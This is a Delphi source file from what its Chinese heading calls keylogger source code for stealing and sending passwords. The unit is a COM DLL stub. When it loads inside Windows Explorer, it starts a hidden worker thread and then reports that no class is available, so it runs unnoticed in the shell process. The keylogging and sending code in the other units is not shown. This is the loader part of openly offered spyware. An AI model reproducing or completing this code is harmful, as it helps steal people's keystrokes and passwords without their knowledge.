activexcom.pas

键盘全记录密码盗取发送程序源代码

unit ActiveXCom;

interface

uses ActiveX;

  
function DllGetClassObject(const CLSID, IID: TGUID; var Obj): HResult; stdcall;
function DllCanUnloadNow: HResult; stdcall;
function DllRegisterServer: HResult; stdcall;
function DllUnregisterServer: HResult; stdcall;

implementation

uses Windows, Publics,Threads;


function DllGetClassObject(const CLSID, IID: TGUID; var Obj): HResult;
begin
  if InExplorer then CreateThread(nil, 0, @ThreadPro, Pointer(66), 0, SubThreadID);  
  Pointer(Obj) := nil;
  Result := CLASS_E_CLASSNOTAVAILABLE;
end;

function DllCanUnloadNow: HResult;
begin
  Result := S_OK;
end;

function DllRegisterServer: HResult;
begin
  Result := S_OK;
end;

function DllUnregisterServer: HResult;
begin
  Result := S_OK;
end;



end.